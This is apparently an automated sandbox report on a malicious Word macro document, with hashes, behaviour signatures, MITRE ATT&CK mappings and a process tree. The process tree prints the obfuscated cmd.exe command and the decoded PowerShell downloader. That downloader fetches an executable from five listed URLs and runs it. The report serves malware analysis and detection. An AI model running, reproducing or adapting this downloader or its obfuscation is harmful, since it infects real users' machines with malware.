7dd66e46230910c82ace05f4202de37348aa956232ebb54dd7f75329f513af9f

General

Target

f5d3ca8c627a7f1c30aecfa3553bfb88_JaffaCakes118.doc
Size

136KB
MD5

f5d3ca8c627a7f1c30aecfa3553bfb88
SHA1

5f2b8c81e9ab7258814a6c6bebbdf78eb4817112
SHA256

7dd66e46230910c82ace05f4202de37348aa956232ebb54dd7f75329f513af9f
SHA512

827c4559d4575ec7b2039077fc83de8f63bc2f59b390024be44274adb0e85cc05f3b663670ffc19f4310f145a36d7be1177c3116f2b92702b85b730bf77394d5
SSDEEP

1536:3J81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvad4+acN99QnzuWqmOid+:58GhDS0o9zTGOZD6EbzCdxQzuCOiY

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://hellodocumentary.com/hellosouthamerica.com/j9skVzl

exe.dropper

http://blackmarketantiques.com/J17M

exe.dropper

http://bureauoranje.nl/yKOo

exe.dropper

http://campus-web.com/nzi

exe.dropper

http://bendafamily.com/HL9hiD8

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2676	2892	cmd.exe	29

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2392	powershell.exe
6	2392	powershell.exe
7	2392	powershell.exe
11	2392	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2392	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2892	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2392	powershell.exe
1500	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2392	powershell.exe
Token: SeDebugPrivilege	1500	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2892	WINWORD.EXE
2892	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 2996	2892	WINWORD.EXE	30
PID 2892 wrote to memory of 2996	2892	WINWORD.EXE	30
PID 2892 wrote to memory of 2996	2892	WINWORD.EXE	30
PID 2892 wrote to memory of 2996	2892	WINWORD.EXE	30
PID 2892 wrote to memory of 2676	2892	WINWORD.EXE	31
PID 2892 wrote to memory of 2676	2892	WINWORD.EXE	31
PID 2892 wrote to memory of 2676	2892	WINWORD.EXE	31
PID 2892 wrote to memory of 2676	2892	WINWORD.EXE	31
PID 2676 wrote to memory of 2392	2676	cmd.exe	34
PID 2676 wrote to memory of 2392	2676	cmd.exe	34
PID 2676 wrote to memory of 2392	2676	cmd.exe	34
PID 2676 wrote to memory of 2392	2676	cmd.exe	34
PID 2392 wrote to memory of 1500	2392	powershell.exe	35
PID 2392 wrote to memory of 1500	2392	powershell.exe	35
PID 2392 wrote to memory of 1500	2392	powershell.exe	35
PID 2392 wrote to memory of 1500	2392	powershell.exe	35

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f5d3ca8c627a7f1c30aecfa3553bfb88_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2996
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /V:/C"set 3IY0=;'XRf'=ppt$}}{hctac};kaerb;'pqi'=uOY$;BAD$ metI-ekovnI;'jVV'=bkH$;)BAD$ ,mCO$(eliFdaolnwoD.NRq${yrt{)DUj$ ni mCO$(hcaerof;'exe.'+hwu$+'\'+pmet:vne$=BAD$;'wSI'=KTA$;'002' = hwu$;'qjM'=hZl$;)'@'(tilpS.'8Dih9LH/moc.ylimafadneb//:ptth@izn/moc.bew-supmac//:ptth@oOKy/ln.ejnarouaerub//:ptth@M71J/moc.seuqitnatekramkcalb//:ptth@lzVks9j/moc.aciremahtuosolleh/moc.yratnemucodolleh//:ptth'=DUj$;tneilCbeW.teN tcejbo-wen=NRq$;'aqM'=AvY$ llehsrewop&&for /L %q in (435;-1;0)do set 5Ls=!5Ls!!3IY0:~%q,1!&&if %q==0 powershell "!5Ls:~-436!" "
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2676
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell "powershell $YvA='Mqa';$qRN=new-object Net.WebClient;$jUD='http://hellodocumentary.com/hellosouthamerica.com/j9skVzl@http://blackmarketantiques.com/J17M@http://bureauoranje.nl/yKOo@http://campus-web.com/nzi@http://bendafamily.com/HL9hiD8'.Split('@');$lZh='Mjq';$uwh = '200';$ATK='ISw';$DAB=$env:temp+'\'+$uwh+'.exe';foreach($OCm in $jUD){try{$qRN.DownloadFile($OCm, $DAB);$Hkb='VVj';Invoke-Item $DAB;$YOu='iqp';break;}catch{}}$tpp='fRX';"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2392
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" =Mqa
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
c7317f730df415c0fe8dadd5f0a17a96

SHA1
6e1a759dd3eb8221c0c4a5132401bf43a333016c

SHA256
5e159853484f8cdcbf6cfb2892ad0f05f3fb1fbbedfde339a2595cdd731d3f36

SHA512
7bd625192149fa81b80bd221ec0db4f9489bc4d255db4dc33a899f76cc073abdb55e2de4b387ecc870fd251bc15d3e3b19b29bddf924635ee4c2e3f40a1b28d9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
6eec97f260c9823dc1e08aa54a8e4791

SHA1
91efb1a305b33f73a9514e4bd06eb61ca77c9ccc

SHA256
08985ccb49ae993cab285c563b27dc1f1e2e2c1f3b2a6a06d20ce36d77f5d715

SHA512
b2a630f2859b1b58dbbd746784ef270b4ea73e73a08534977de7d6d1cc41c5319e5cb7359f480ee0b0c91001346d0842a0fdd9d7c13d49df35ca9ee5bfea4cd9

Download Submit
memory/2892-4-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2892-0-0x000000002FA31000-0x000000002FA32000-memory.dmp

Filesize
4KB

Download
memory/2892-6-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2892-5-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2892-2-0x0000000070BCD000-0x0000000070BD8000-memory.dmp

Filesize
44KB

Download
memory/2892-15-0x0000000070BCD000-0x0000000070BD8000-memory.dmp

Filesize
44KB

Download
memory/2892-16-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download
memory/2892-31-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2892-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2892-32-0x0000000070BCD000-0x0000000070BD8000-memory.dmp

Filesize
44KB

Download
memory/2892-33-0x0000000000410000-0x0000000000510000-memory.dmp

Filesize
1024KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads